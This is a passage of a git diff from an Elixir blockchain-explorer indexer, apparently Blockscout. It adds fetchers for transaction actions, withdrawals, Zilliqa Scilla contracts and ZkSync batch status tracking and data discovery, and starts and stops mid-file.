:transaction_action) + Logger.error(fn -> "Transaction action fetcher task exited due to #{inspect(reason)}. Rerunning..." end) + Logger.reset_metadata(logger_metadata) + {:noreply, run_fetch(%__MODULE__{state | next_block: get_stage_block(@stage_next_block)})} + end + end + + defp run_fetch(state) do + pid = self() + Process.send_after(pid, :fetch, 3000, []) + %__MODULE__{state | task: nil, pid: pid} + end + + defp task( + %__MODULE__{ + first_block: first_block, + next_block: next_block, + last_block: last_block, + protocols: protocols, + pid: pid + } = _state + ) do + logger_metadata = Logger.metadata() + Logger.metadata(fetcher: :transaction_action) + + block_range = Range.new(next_block, first_block, -1) + block_range_init_length = last_block - first_block + 1 + + for block_number <- block_range do + query = + from( + log in Log, + inner_join: b in Block, + on: b.hash == log.block_hash and b.consensus == true, + where: log.block_number == ^block_number, + select: log + ) + + %{transaction_actions: transaction_actions} = + query + |> Repo.all(timeout: :infinity) + |> TransactionActions.parse(protocols) + + addresses = + Addresses.extract_addresses(%{ + transaction_actions: transaction_actions + }) + + transaction_actions_with_data = + Enum.map(transaction_actions, fn action -> + Map.put(action, :data, Map.delete(action.data, :block_number)) + end) + + {:ok, _} = + Chain.import(%{ + addresses: %{params: addresses, on_conflict: :nothing}, + transaction_actions: %{params: transaction_actions_with_data}, + timeout: :infinity + }) + + blocks_processed = last_block - block_number + 1 + + progress_percentage = + blocks_processed + |> Decimal.div(block_range_init_length) + |> Decimal.mult(100) + |> Decimal.round(2) + |> Decimal.to_string() + + next_block_new = BlockNumberHelper.previous_block_number(block_number) + + Logger.info( + "Block #{block_number} handled successfully. Progress: #{progress_percentage}%. Initial block range: #{first_block}..#{last_block}." <> + " Actions found: #{Enum.count(transaction_actions_with_data)}." <> + if(next_block_new >= first_block, do: " Remaining block range: #{first_block}..#{next_block_new}", else: "") + ) + + if block_number == next_block do + {:ok, _} = + LastFetchedCounter.upsert(%{ + counter_type: @stage_first_block, + value: first_block + }) + + {:ok, _} = + LastFetchedCounter.upsert(%{ + counter_type: @stage_last_block, + value: last_block + }) + end + + {:ok, _} = + LastFetchedCounter.upsert(%{ + counter_type: @stage_next_block, + value: next_block_new + }) + end + + Process.send(pid, :stop_server, []) + + Logger.reset_metadata(logger_metadata) + + :ok + end + + defp init_fetching(opts, first_block, last_block) do + first_block = parse_integer(first_block) + last_block = parse_integer(last_block) + + if is_nil(first_block) or is_nil(last_block) or first_block <= 0 or last_block <= 0 or first_block > last_block do + {:stop, "Correct block range must be provided to #{__MODULE__}."} + else + {:ok, %{}, {:continue, {opts, first_block, last_block}}} + end + end + + defp get_next_block(first_block, last_block, protocols) do + first_block_from_stage = get_stage_block(@stage_first_block) + last_block_from_stage = get_stage_block(@stage_last_block) + + {stage_first_block, stage_next_block, stage_last_block} = + if first_block_from_stage == 0 or last_block_from_stage == 0 do + {first_block, last_block, last_block} + else + {first_block_from_stage, get_stage_block(@stage_next_block), last_block_from_stage} + end + + next_block = + if Decimal.eq?(stage_first_block, first_block) and Decimal.eq?(stage_last_block, last_block) do + stage_next_block + else + last_block + end + + if next_block < first_block do + Logger.warning( + "It seems #{__MODULE__} already finished work for the block range #{first_block}..#{last_block} and " <> + if(Enum.empty?(protocols), + do: "all supported protocols.", + else: "the following protocols: #{Enum.join(protocols, ", ")}." + ) <> + " To run it again for a different block range, please change the range through environment variables." + ) + else + Logger.info( + "Running #{__MODULE__} for the block range #{first_block}..#{next_block} and " <> + if(Enum.empty?(protocols), + do: "all supported protocols.", + else: "the following protocols: #{Enum.join(protocols, ", ")}." + ) <> if(next_block < last_block, do: " Initial block range: #{first_block}..#{last_block}.", else: "") + ) + end + + next_block + end + + defp get_stage_block(type) do + type + |> LastFetchedCounter.get() + |> Decimal.to_integer() + rescue + _e in Ecto.NoResultsError -> 0 + end +end diff --git a/apps/indexer/lib/indexer/fetcher/uncle_block.ex b/apps/indexer/lib/indexer/fetcher/uncle_block.ex index a672711562b3..1b65dc2966fb 100644 --- a/apps/indexer/lib/indexer/fetcher/uncle_block.ex +++ b/apps/indexer/lib/indexer/fetcher/uncle_block.ex @@ -4,7 +4,7 @@ defmodule Indexer.Fetcher.UncleBlock do `uncle_fetched_at` where the `uncle_hash` matches `hash`. """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators require Logger @@ -16,6 +16,7 @@ defmodule Indexer.Fetcher.UncleBlock do alias Explorer.Chain.Hash alias Indexer.{Block, BufferedTask, Tracer} alias Indexer.Fetcher.UncleBlock + alias Indexer.Fetcher.UncleBlock.Supervisor, as: UncleBlockSupervisor alias Indexer.Transform.Addresses @behaviour Block.Fetcher @@ -33,10 +34,17 @@ defmodule Indexer.Fetcher.UncleBlock do Asynchronously fetches `t:Explorer.Chain.Block.t/0` for the given `nephew_hash` and `index` and updates `t:Explorer.Chain.Block.SecondDegreeRelation.t/0` `block_fetched_at`. """ - @spec async_fetch_blocks([%{required(:nephew_hash) => Hash.Full.t(), required(:index) => non_neg_integer()}]) :: :ok - def async_fetch_blocks(relations) when is_list(relations) do - entries = Enum.map(relations, &entry/1) - BufferedTask.buffer(__MODULE__, entries) + @spec async_fetch_blocks( + [%{required(:nephew_hash) => Hash.Full.t(), required(:index) => non_neg_integer()}], + boolean() + ) :: :ok + def async_fetch_blocks(relations, realtime? \\ false) when is_list(relations) do + if UncleBlockSupervisor.disabled?() do + :ok + else + entries = Enum.map(relations, &entry/1) + BufferedTask.buffer(__MODULE__, entries, realtime?) + end end @doc false @@ -60,11 +68,15 @@ defmodule Indexer.Fetcher.UncleBlock do @impl BufferedTask def init(initial, reducer, _) do {:ok, final} = - Chain.stream_unfetched_uncles(initial, fn uncle, acc -> - uncle - |> entry() - |> reducer.(acc) - end) + Chain.stream_unfetched_uncles( + initial, + fn uncle, acc -> + uncle + |> entry() + |> reducer.(acc) + end, + true + ) final end diff --git a/apps/indexer/lib/indexer/fetcher/withdrawal.ex b/apps/indexer/lib/indexer/fetcher/withdrawal.ex new file mode 100644 index 000000000000..b8a7707bd93e --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/withdrawal.ex @@ -0,0 +1,163 @@ +defmodule Indexer.Fetcher.Withdrawal do + @moduledoc """ + Reindexes withdrawals from blocks that were indexed before app update. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + alias EthereumJSONRPC.Blocks + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Withdrawal + alias Explorer.Helper + alias Indexer.Transform.Addresses + + @interval :timer.seconds(10) + @batch_size 10 + @concurrency 5 + + defstruct blocks_to_fetch: [], + interval: @interval, + json_rpc_named_arguments: [], + max_batch_size: @batch_size, + max_concurrency: @concurrency + + def child_spec([init_arguments]) do + child_spec([init_arguments, []]) + end + + def child_spec([_init_arguments, _gen_server_options] = start_link_arguments) do + default = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments} + } + + Supervisor.child_spec(default, restart: :transient) + end + + def start_link(arguments, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, arguments, gen_server_options) + end + + @impl GenServer + def init(opts) when is_list(opts) do + Logger.metadata(fetcher: :withdrawal) + first_block = Application.get_env(:indexer, __MODULE__)[:first_block] + + if first_block |> Helper.parse_integer() |> is_integer() do + # withdrawals from all other blocks will be imported by realtime and catchup indexers + json_rpc_named_arguments = opts[:json_rpc_named_arguments] + + unless json_rpc_named_arguments do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.init to allow for json_rpc calls when running." + end + + state = %__MODULE__{ + interval: opts[:interval] || @interval, + json_rpc_named_arguments: json_rpc_named_arguments, + max_batch_size: opts[:max_batch_size] || @batch_size, + max_concurrency: opts[:max_concurrency] || @concurrency + } + + Process.send_after(self(), :fetch_withdrawals, state.interval) + + {:ok, state, {:continue, first_block}} + else + Logger.warning("Please, specify the first block of the block range for #{__MODULE__}.") + :ignore + end + end + + @impl GenServer + def handle_continue(first_block, state) do + {:noreply, %{state | blocks_to_fetch: first_block |> Helper.parse_integer() |> missing_block_numbers()}} + end + + @impl GenServer + def handle_info( + :fetch_withdrawals, + %__MODULE__{ + blocks_to_fetch: blocks_to_fetch, + interval: interval, + json_rpc_named_arguments: json_rpc_named_arguments, + max_batch_size: batch_size, + max_concurrency: concurrency + } = state + ) do + Logger.metadata(fetcher: :withdrawal) + + if Enum.empty?(blocks_to_fetch) do + Logger.info("Withdrawals from old blocks are fetched.") + {:stop, :normal, state} + else + new_blocks_to_fetch = + blocks_to_fetch + |> Stream.chunk_every(batch_size) + |> Task.async_stream( + &{EthereumJSONRPC.fetch_blocks_by_numbers(&1, json_rpc_named_arguments), &1}, + max_concurrency: concurrency, + timeout: :infinity, + zip_input_on_exit: true + ) + |> Enum.reduce([], &fetch_reducer/2) + + Process.send_after(self(), :fetch_withdrawals, interval) + + {:noreply, %__MODULE__{state | blocks_to_fetch: new_blocks_to_fetch}} + end + end + + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + def handle_info( + {:DOWN, _ref, :process, _pid, reason}, + state + ) do + if reason === :normal do + {:noreply, state} + else + Logger.metadata(fetcher: :withdrawal) + Logger.error(fn -> "Withdrawals fetcher task exited due to #{inspect(reason)}." end) + {:noreply, state} + end + end + + defp fetch_reducer({:ok, {{:ok, %Blocks{withdrawals_params: withdrawals_params}}, block_numbers}}, acc) do + addresses = Addresses.extract_addresses(%{withdrawals: withdrawals_params}) + + case Chain.import(%{addresses: %{params: addresses}, withdrawals: %{params: withdrawals_params}}) do + {:ok, _} -> + acc + + {:error, reason} -> + Logger.error(inspect(reason) <> ". Retrying.") + [block_numbers | acc] |> List.flatten() + + {:error, step, failed_value, _changes_so_far} -> + Logger.error("failed to insert: " <> inspect(failed_value) <> ". Retrying.", step: step) + [block_numbers | acc] |> List.flatten() + end + end + + defp fetch_reducer({:ok, {{:error, reason}, block_numbers}}, acc) do + Logger.error("failed to fetch: " <> inspect(reason) <> ". Retrying.") + [block_numbers | acc] |> List.flatten() + end + + defp fetch_reducer({:exit, {block_numbers, reason}}, acc) do + Logger.error("failed to fetch: " <> inspect(reason) <> ". Retrying.") + [block_numbers | acc] |> List.flatten() + end + + defp missing_block_numbers(from) do + blocks = from |> Withdrawal.blocks_without_withdrawals_query() |> Repo.all() + Logger.debug("missing_block_numbers #{length(blocks)}") + blocks + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zilliqa/scilla_smart_contracts.ex b/apps/indexer/lib/indexer/fetcher/zilliqa/scilla_smart_contracts.ex new file mode 100644 index 000000000000..2a022db6de8c --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zilliqa/scilla_smart_contracts.ex @@ -0,0 +1,135 @@ +defmodule Indexer.Fetcher.Zilliqa.ScillaSmartContracts do + @moduledoc """ + Marks Scilla smart contracts as verified on the Zilliqa blockchain. These + contracts are treated as verified since their code is stored on-chain, + allowing for direct access. + """ + alias Indexer.{BufferedTask, Tracer} + require Logger + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.Chain.{Address, Data, SmartContract} + alias Explorer.Chain.Zilliqa.Reader + + @behaviour BufferedTask + + @default_max_batch_size 1 + @default_max_concurrency 1 + + @doc false + @spec child_spec([...]) :: Supervisor.child_spec() + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.put(:state, nil) + + Supervisor.child_spec( + {BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, + id: __MODULE__ + ) + end + + def defaults do + [ + poll: false, + flush_interval: :timer.seconds(3), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :scilla_smart_contracts] + ] + end + + @doc """ + Asynchronously fetches and processes a list of unique Scilla smart contract + addresses for verification. If the associated supervisor is disabled, + the function simply returns `:ok` without performing any action. + + ## Parameters + + - `entries`: A list of `Address.t()` structs representing contract addresses + to be processed. Duplicates are removed before processing. + - `realtime?`: A boolean indicating whether the fetching should occur with priority. + - `timeout`: An integer representing the timeout duration (in milliseconds) + for the fetch operation. Defaults to `5000`. + + ## Returns + + - `:ok`: Always returns `:ok`, either after queuing the unique entries for + buffering or if the supervisor is disabled. + """ + @spec async_fetch([Address.t()], boolean(), integer()) :: :ok + def async_fetch(entries, realtime?, timeout \\ 5000) when is_list(entries) do + if __MODULE__.Supervisor.disabled?() do + :ok + else + BufferedTask.buffer(__MODULE__, entries |> Enum.uniq(), realtime?, timeout) + end + end + + @impl BufferedTask + def init(initial, reducer, _json_rpc_named_arguments) do + {:ok, final} = + Reader.stream_unverified_scilla_smart_contract_addresses( + initial, + reducer, + true + ) + + final + end + + @doc """ + Processes a batch of unverified Scilla smart contract addresses, verifying + each contract's validity and creating it in the database. The function + verifies that each contract's code is a valid UTF-8 string. If valid, it + attempts to create a new smart contract record. + + ## Parameters + + - `[Address.t()]`: A list of addresses, where each address is a struct with + contract data to be verified. + - `_opts`: Additional options for processing, currently unused. + + ## Returns + + - `:ok`: Indicates successful contract creation or if the contract code is + invalid and therefore skipped. + - `:retry`: Returned if an error occurs during contract creation, logging + the failure for later retry. + """ + + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.Zilliqa.ScillaSmartContracts.run/2", + service: :indexer, + tracer: Tracer + ) + @spec run([Address.t()], any()) :: :ok | :retry + def run([%Address{hash: address_hash, contract_code: %Data{} = contract_code}], _opts) do + if String.valid?(contract_code.bytes) do + %{ + address_hash: address_hash, + contract_source_code: contract_code.bytes, + optimization: false, + language: :scilla + } + |> SmartContract.create_smart_contract() + |> case do + {:ok, _} -> + :ok + + {:error, error} -> + Logger.error("Failed to create smart contract for address: #{address_hash}\n#{inspect(error)}") + :retry + end + else + Logger.error("Invalid contract code. Skipping verification", %{address_hash: address_hash}) + :ok + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/batches_status_tracker.ex b/apps/indexer/lib/indexer/fetcher/zksync/batches_status_tracker.ex new file mode 100644 index 000000000000..2149bcd61cd2 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/batches_status_tracker.ex @@ -0,0 +1,242 @@ +defmodule Indexer.Fetcher.ZkSync.BatchesStatusTracker do + @moduledoc """ + Updates batches statuses and imports historical batches to the `zksync_transaction_batches` table. + + Repetitiveness is supported by sending the following statuses every `recheck_interval` seconds: + - `:check_committed`: Discover batches committed to L1 + - `:check_proven`: Discover batches proven in L1 + - `:check_executed`: Discover batches executed on L1 + - `:recover_batches`: Recover missed batches found during the handling of the three previous messages + - `:check_historical`: Check if the imported batches chain does not start with Batch #0 + + The initial message is `:check_committed`. If it is discovered that updating batches + in the `zksync_transaction_batches` table is not possible because some are missing, + `:recover_batches` is sent. The next messages are `:check_proven` and `:check_executed`. + Both could result in sending `:recover_batches` as well. + + The logic ensures that every handler emits the `:recover_batches` message to return to + the previous "progressing" state. If `:recover_batches` is called during handling `:check_committed`, + it will be sent again after finishing batch recovery. Similar logic applies to `:check_proven` and + `:check_executed`. + + The last message in the loop is `:check_historical`. + + |---------------------------------------------------------------------------| + |-> check_committed -> check_proven -> check_executed -> check_historical ->| + | ^ | ^ | ^ + v | v | v | + recover_batches recover_batches recover_batches + + If a batch status change is discovered during handling of `check_committed`, `check_proven`, + or `check_executed` messages, the corresponding L1 transactions are imported and associated + with the batches. Rollup transactions and blocks are not re-associated since it is assumed + to be done by `Indexer.Fetcher.ZkSync.TransactionBatch` or during handling of + the `recover_batches` message. + + The `recover_batches` handler downloads batch information from RPC and sets its actual L1 state + by linking with L1 transactions. + + The `check_historical` message initiates the check if the tail of the batch chain is Batch 0. + If the tail is missing, batches are downloaded from RPC in chunks of `batches_max_range` in every + iteration. The batches are imported together with associated L1 transactions. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + # alias Explorer.Chain.Events.Publisher + # TODO: publish event when new committed batches appear + + alias Indexer.Fetcher.ZkSync.Discovery.Workers + alias Indexer.Fetcher.ZkSync.StatusTracking.{Committed, Executed, Proven} + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + Logger.metadata(fetcher: :zksync_batches_tracker) + + config_tracker = Application.get_all_env(:indexer)[Indexer.Fetcher.ZkSync.BatchesStatusTracker] + l1_rpc = config_tracker[:zksync_l1_rpc] + recheck_interval = config_tracker[:recheck_interval] + config_fetcher = Application.get_all_env(:indexer)[Indexer.Fetcher.ZkSync.TransactionBatch] + chunk_size = config_fetcher[:chunk_size] + batches_max_range = config_fetcher[:batches_max_range] + + Process.send(self(), :check_committed, []) + + {:ok, + %{ + config: %{ + json_l2_rpc_named_arguments: args[:json_rpc_named_arguments], + json_l1_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: [l1_rpc], + http_options: [ + recv_timeout: :timer.minutes(10), + timeout: :timer.minutes(10), + pool: :ethereum_jsonrpc + ] + ] + ], + recheck_interval: recheck_interval, + chunk_size: chunk_size, + batches_max_range: batches_max_range + }, + data: %{} + }} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Handles the `:check_historical` message to download historical batches from RPC if necessary and + # import them to the `zksync_transaction_batches` table. The batches are imported together with L1 + # transactions associations, rollup blocks and transactions. + # Since it is the final handler in the loop, it schedules sending the `:check_committed` message + # to initiate the next iteration. The sending of the message is delayed, taking into account + # the time remaining after the previous handlers' execution. + # + # ## Parameters + # - `:check_historical`: the message triggering the handler + # - `state`: current state of the fetcher containing both the fetcher configuration + # and data re-used by different handlers. + # + # ## Returns + # - `{:noreply, new_state}` where `new_state` contains `data` empty + @impl GenServer + def handle_info(:check_historical, state) + when is_map(state) and is_map_key(state, :config) and is_map_key(state, :data) and + is_map_key(state.config, :recheck_interval) and is_map_key(state.config, :batches_max_range) and + is_map_key(state.config, :json_l2_rpc_named_arguments) and + is_map_key(state.config, :chunk_size) do + {handle_duration, _} = + :timer.tc(&Workers.batches_catchup/1, [ + %{ + batches_max_range: state.config.batches_max_range, + chunk_size: state.config.chunk_size, + json_rpc_named_arguments: state.config.json_l2_rpc_named_arguments + } + ]) + + Process.send_after( + self(), + :check_committed, + max(:timer.seconds(state.config.recheck_interval) - div(update_duration(state.data, handle_duration), 1000), 0) + ) + + {:noreply, %{state | data: %{}}} + end + + # Handles the `:recover_batches` message to download a set of batches from RPC and imports them + # to the `zksync_transaction_batches` table. It is expected that the message is sent from handlers updating + # batches statuses when they discover the absence of batches in the `zksync_transaction_batches` table. + # The batches are imported together with L1 transactions associations, rollup blocks, and transactions. + # + # ## Parameters + # - `:recover_batches`: the message triggering the handler + # - `state`: current state of the fetcher containing both the fetcher configuration + # and data related to the batches recovery: + # - `state.data.batches`: list of the batches to recover + # - `state.data.switched_from`: the message to send after the batch recovery + # + # ## Returns + # - `{:noreply, new_state}` where `new_state` contains updated `duration` of the iteration + @impl GenServer + def handle_info(:recover_batches, state) + when is_map(state) and is_map_key(state, :config) and is_map_key(state, :data) and + is_map_key(state.config, :json_l2_rpc_named_arguments) and is_map_key(state.config, :chunk_size) and + is_map_key(state.data, :batches) and is_map_key(state.data, :switched_from) do + {handle_duration, _} = + :timer.tc( + &Workers.get_full_batches_info_and_import/2, + [ + state.data.batches, + %{ + chunk_size: state.config.chunk_size, + json_rpc_named_arguments: state.config.json_l2_rpc_named_arguments + } + ] + ) + + Process.send(self(), state.data.switched_from, []) + + {:noreply, %{state | data: %{duration: update_duration(state.data, handle_duration)}}} + end + + # Handles `:check_committed`, `:check_proven`, and `:check_executed` messages to update the + # statuses of batches by associating L1 transactions with them. For different messages, it invokes + # different underlying functions due to different natures of discovering batches with changed status. + # Another reason why statuses are being tracked differently is the different pace of status changes: + # a batch is committed in a few minutes after sealing, proven in a few hours, and executed once in a day. + # Depending on the value returned from the underlying function, either a message (`:check_proven`, + # `:check_executed`, or `:check_historical`) to switch to the next status checker is sent, or a list + # of batches to recover is provided together with `:recover_batches`. + # + # ## Parameters + # - `input`: one of `:check_committed`, `:check_proven`, and `:check_executed` + # - `state`: the current state of the fetcher containing both the fetcher configuration + # and data reused by different handlers. + # + # ## Returns + # - `{:noreply, new_state}` where `new_state` contains the updated `duration` of the iteration, + # could also contain the list of batches to recover and the message to return back to + # the corresponding status update checker. + @impl GenServer + def handle_info(input, state) + when input in [:check_committed, :check_proven, :check_executed] do + {output, func} = + case input do + :check_committed -> {:check_proven, &Committed.look_for_batches_and_update/1} + :check_proven -> {:check_executed, &Proven.look_for_batches_and_update/1} + :check_executed -> {:check_historical, &Executed.look_for_batches_and_update/1} + end + + {handle_duration, result} = :timer.tc(func, [state.config]) + + {switch_to, state_data} = + case result do + :ok -> + {output, %{duration: update_duration(state.data, handle_duration)}} + + {:recovery_required, batches} -> + {:recover_batches, + %{ + switched_from: input, + batches: batches, + duration: update_duration(state.data, handle_duration) + }} + end + + Process.send(self(), switch_to, []) + {:noreply, %{state | data: state_data}} + end + + defp update_duration(data, cur_duration) do + if Map.has_key?(data, :duration) do + data.duration + cur_duration + else + cur_duration + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/discovery/batches_data.ex b/apps/indexer/lib/indexer/fetcher/zksync/discovery/batches_data.ex new file mode 100644 index 000000000000..36a816674beb --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/discovery/batches_data.ex @@ -0,0 +1,413 @@ +defmodule Indexer.Fetcher.ZkSync.Discovery.BatchesData do + @moduledoc """ + Provides main functionality to extract data for batches and associated with them + rollup blocks, rollup and L1 transactions. + """ + + alias EthereumJSONRPC.Block.ByNumber + alias Indexer.Fetcher.ZkSync.Utils.Rpc + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_info: 1, log_details_chunk_handling: 4] + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + @doc """ + Downloads batches, associates rollup blocks and transactions, and imports the results into the database. + Data is retrieved from the RPC endpoint in chunks of `chunk_size`. + + ## Parameters + - `batches`: Either a tuple of two integers, `start_batch_number` and `end_batch_number`, defining + the range of batches to receive, or a list of batch numbers, `batches_list`. + - `config`: Configuration containing `chunk_size` to limit the amount of data requested from the RPC endpoint, + and `json_rpc_named_arguments` defining parameters for the RPC connection. + + ## Returns + - `{batches_to_import, l2_blocks_to_import, l2_transactions_to_import}` + where + - `batches_to_import` is a map of batches data + - `l2_blocks_to_import` is a list of blocks associated with batches by batch numbers + - `l2_transactions_to_import` is a list of transactions associated with batches by batch numbers + """ + @spec extract_data_from_batches([integer()] | {integer(), integer()}, %{ + :chunk_size => pos_integer(), + :json_rpc_named_arguments => any(), + optional(any()) => any() + }) :: {map(), list(), list()} + def extract_data_from_batches(batches, config) + + def extract_data_from_batches({start_batch_number, end_batch_number}, config) + when is_integer(start_batch_number) and is_integer(end_batch_number) and + is_map(config) do + start_batch_number..end_batch_number + |> Enum.to_list() + |> do_extract_data_from_batches(config) + end + + def extract_data_from_batches(batches_list, config) + when is_list(batches_list) and + is_map(config) do + batches_list + |> do_extract_data_from_batches(config) + end + + defp do_extract_data_from_batches(batches_list, config) when is_list(batches_list) do + initial_batches_to_import = collect_batches_details(batches_list, config) + log_info("Collected details for #{length(Map.keys(initial_batches_to_import))} batches") + + batches_to_import = get_block_ranges(initial_batches_to_import, config) + + {l2_blocks_to_import, l2_transactions_to_import} = get_l2_blocks_and_transactions(batches_to_import, config) + log_info("Linked #{length(l2_blocks_to_import)} L2 blocks and #{length(l2_transactions_to_import)} L2 transactions") + + {batches_to_import, l2_blocks_to_import, l2_transactions_to_import} + end + + @doc """ + Collects all unique L1 transactions from the given list of batches, including transactions + that change the status of a batch and their timestamps. + + **Note**: Every map describing an L1 transaction in the response is not ready for importing into + the database since it does not contain `:id` elements. + + ## Parameters + - `batches`: A list of maps describing batches. Each map is expected to define the following + elements: `commit_transaction_hash`, `commit_timestamp`, `prove_transaction_hash`, `prove_timestamp`, + `executed_transaction_hash`, `executed_timestamp`. + + ## Returns + - `l1_transactions`: A map where keys are L1 transaction hashes, and values are maps containing + transaction hashes and timestamps. + """ + @spec collect_l1_transactions(list()) :: map() + def collect_l1_transactions(batches) + when is_list(batches) do + l1_transactions = + batches + |> Enum.reduce(%{}, fn batch, l1_transactions -> + [ + %{hash: batch.commit_transaction_hash, timestamp: batch.commit_timestamp}, + %{hash: batch.prove_transaction_hash, timestamp: batch.prove_timestamp}, + %{hash: batch.executed_transaction_hash, timestamp: batch.executed_timestamp} + ] + |> Enum.reduce(l1_transactions, fn l1_transaction, acc -> + # checks if l1_transaction is not empty and adds to acc + add_l1_transaction_to_list(acc, l1_transaction) + end) + end) + + log_info("Collected #{length(Map.keys(l1_transactions))} L1 hashes") + + l1_transactions + end + + defp add_l1_transaction_to_list(l1_transactions, l1_transaction) do + if l1_transaction.hash != Rpc.get_binary_zero_hash() do + Map.put(l1_transactions, l1_transaction.hash, l1_transaction) + else + l1_transactions + end + end + + # Divides the list of batch numbers into chunks of size `chunk_size` to combine + # `zks_getL1BatchDetails` calls in one chunk together. To simplify further handling, + # each call is combined with the batch number in the JSON request identifier field. + # This allows parsing and associating every response with a particular batch, producing + # a list of maps describing the batches, ready for further handling. + # + # **Note**: The batches in the resulting map are not ready for importing into the DB. L1 transaction + # indices as well as the rollup blocks range must be added, and then batch descriptions + # must be pruned (see Indexer.Fetcher.ZkSync.Utils.Db.prune_json_batch/1). + # + # ## Parameters + # - `batches_list`: A list of batch numbers. + # - `config`: A map containing `chunk_size` specifying the number of `zks_getL1BatchDetails` in + # one HTTP request, and `json_rpc_named_arguments` describing parameters for + # RPC connection. + # + # ## Returns + # - `batches_details`: A map where keys are batch numbers, and values are maps produced + # after parsing responses of `zks_getL1BatchDetails` calls. + defp collect_batches_details( + batches_list, + %{json_rpc_named_arguments: json_rpc_named_arguments, chunk_size: chunk_size} = _config + ) + when is_list(batches_list) do + batches_list_length = length(batches_list) + + {batches_details, _} = + batches_list + |> Enum.chunk_every(chunk_size) + |> Enum.reduce({%{}, 0}, fn chunk, {details, a} -> + log_details_chunk_handling("Collecting details", chunk, a * chunk_size, batches_list_length) + + requests = + chunk + |> Enum.map(fn batch_number -> + EthereumJSONRPC.request(%{ + id: batch_number, + method: "zks_getL1BatchDetails", + params: [batch_number] + }) + end) + + details = + requests + |> Rpc.fetch_batches_details(json_rpc_named_arguments) + |> Enum.reduce( + details, + fn resp, details -> + Map.put(details, resp.id, Rpc.transform_batch_details_to_map(resp.result)) + end + ) + + {details, a + 1} + end) + + batches_details + end + + # Extends each batch description with the block numbers specifying the start and end of + # a range of blocks included in the batch. The block ranges are obtained through the RPC call + # `zks_getL1BatchBlockRange`. The calls are combined in chunks of `chunk_size`. To distinguish + # each call in the chunk, they are combined with the batch number in the JSON request + # identifier field. + # + # ## Parameters + # - `batches`: A map of batch descriptions. + # - `config`: A map containing `chunk_size`, specifying the number of `zks_getL1BatchBlockRange` + # in one HTTP request, and `json_rpc_named_arguments` describing parameters for + # RPC connection. + # + # ## Returns + # - `updated_batches`: A map of batch descriptions where each description is updated with + # a range (elements `:start_block` and `:end_block`) of rollup blocks included in the batch. + defp get_block_ranges( + batches, + %{json_rpc_named_arguments: json_rpc_named_arguments, chunk_size: chunk_size} = _config + ) + when is_map(batches) do + keys = Map.keys(batches) + batches_list_length = length(keys) + + {updated_batches, _} = + keys + |> Enum.chunk_every(chunk_size) + |> Enum.reduce({batches, 0}, fn batches_chunk, {batches_with_block_ranges, a} -> + log_details_chunk_handling("Collecting block ranges", batches_chunk, a * chunk_size, batches_list_length) + + {request_block_ranges_for_batches(batches_chunk, batches, batches_with_block_ranges, json_rpc_named_arguments), + a + 1} + end) + + updated_batches + end + + # For a given list of rollup batch numbers, this function builds a list of requests + # to `zks_getL1BatchBlockRange`, executes them, and extends the batches' descriptions with + # ranges of rollup blocks associated with each batch. + # + # ## Parameters + # - `batches_numbers`: A list with batch numbers. + # - `batches_src`: A list containing original batches descriptions. + # - `batches_dst`: A map with extended batch descriptions containing rollup block ranges. + # - `json_rpc_named_arguments`: Describes parameters for RPC connection. + # + # ## Returns + # - An updated version of `batches_dst` with new entities containing rollup block ranges. + defp request_block_ranges_for_batches(batches_numbers, batches_src, batches_dst, json_rpc_named_arguments) do + batches_numbers + |> Enum.reduce([], fn batch_number, requests -> + batch = Map.get(batches_src, batch_number) + # Prepare requests list to get blocks ranges + case is_nil(batch.start_block) or is_nil(batch.end_block) do + true -> + [ + EthereumJSONRPC.request(%{ + id: batch_number, + method: "zks_getL1BatchBlockRange", + params: [batch_number] + }) + | requests + ] + + false -> + requests + end + end) + |> Rpc.fetch_blocks_ranges(json_rpc_named_arguments) + |> Enum.reduce(batches_dst, fn resp, updated_batches -> + Map.update!(updated_batches, resp.id, fn batch -> + [start_block, end_block] = resp.result + + Map.merge(batch, %{ + start_block: quantity_to_integer(start_block), + end_block: quantity_to_integer(end_block) + }) + end) + end) + end + + # Unfolds the ranges of rollup blocks in each batch description, makes RPC `eth_getBlockByNumber` calls, + # and builds two lists: a list of rollup blocks associated with each batch and a list of rollup transactions + # associated with each batch. RPC calls are made in chunks of `chunk_size`. To distinguish + # each call in the chunk, they are combined with the block number in the JSON request + # identifier field. + # + # ## Parameters + # - `batches`: A map of batch descriptions. Each description must contain `start_block` and + # `end_block`, specifying the range of blocks associated with the batch. + # - 